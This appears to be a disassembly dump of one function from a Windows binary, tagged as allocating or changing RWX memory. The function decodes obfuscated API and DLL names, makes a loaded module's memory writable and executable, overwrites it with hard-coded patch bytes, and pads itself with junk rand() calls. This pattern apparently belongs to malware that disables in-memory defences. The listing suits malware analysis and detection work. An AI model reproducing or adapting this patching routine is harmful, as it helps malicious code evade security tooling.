Function at 0x1400017e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x50
push rcx
pop rsi
nop
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x16
je 0x140001800
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 9
call sub.msvcrt.dll_malloc
or edi, edi
mov r14d, 0x31
mov ecx, 0xcb
cmove ecx, r14d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c050]
mov ebp, 0xcb
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xe5
mov byte [rax + 4], dl
mov edx, ecx
xor dl, 0xaf
mov byte [rax + 5], dl
xor cl, 0xa7
mov byte [rax + 6], cl
mov byte [rax + 7], cl
mov byte [rax + 8], 0
nop
push rax
pop rcx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
push rax
nop
pop rdi
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or ebx, ebx
cmove ebp, r14d
movd xmm0, ebp
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c060]
movq qword [rax], xmm0
mov ecx, ebp
xor cl, 0x89
mov byte [rax + 8], cl
mov ecx, ebp
xor cl, 0xbe
mov byte [rax + 9], cl
mov ecx, ebp
xor cl, 0xad
mov byte [rax + 0xa], cl
mov byte [rax + 0xb], cl
mov ecx, ebp
xor cl, 0xae
mov byte [rax + 0xc], cl
xor bpl, 0xb9
mov byte [rax + 0xd], bpl
mov byte [rax + 0xe], 0
push rdi
pop rcx
nop
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
push rax
nop
pop rdi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf8
je 0x1400018f0
movabs rax, 0xc302090209057dfd
mov qword [rsp + 0x35], rax
movabs rax, 0x57dfdfe4e05c031
mov qword [rsp + 0x30], rax
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc6
je 0x140001920
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x54
je 0x140001930
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x4c
je 0x140001940
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x70
je 0x140001950
mov dword [rsp + 0x2c], 0
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x59
je 0x140001970
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x37
je 0x140001980
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc3
je 0x1400019a0
lea rbx, [rsp + 0x2c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1000
push rsi
nop
pop rcx
push rdi
pop rdx
nop
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x30]
mov r9d, 0xd
nop
push rsi
pop rcx
push rdi
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf0
je 0x140001a10
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd1
je 0x140001a20
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7e
je 0x140001a30
mov r9d, dword [rsp + 0x2c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1000
nop
push rsi
pop rcx
nop
push rdi
pop rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf1
je 0x140001a70
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x14
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xcb
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c070]
pxor xmm1, xmm0
movq qword [rax], xmm1
mov edx, ecx
xor dl, 0xa3
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xae
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xaf
mov byte [rax + 0xa], dl
movdqa xmmword [rsp + 0x40], xmm1
movzx edx, byte [rsp + 0x43]
movzx r8d, byte [rsp + 0x45]
mov byte [rax + 0xb], dl
pxor xmm0, xmmword [0x14000c080]
mov byte [rax + 0xc], r8b
movd dword [rax + 0xd], xmm0
mov edx, ecx
xor dl, 0x97
mov byte [rax + 0x11], dl
xor cl, 0xa5
mov byte [rax + 0x12], cl
mov byte [rax + 0x13], 0
nop
push rax
pop rcx
call fcn.140001b20
nop
add rsp, 0x50
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret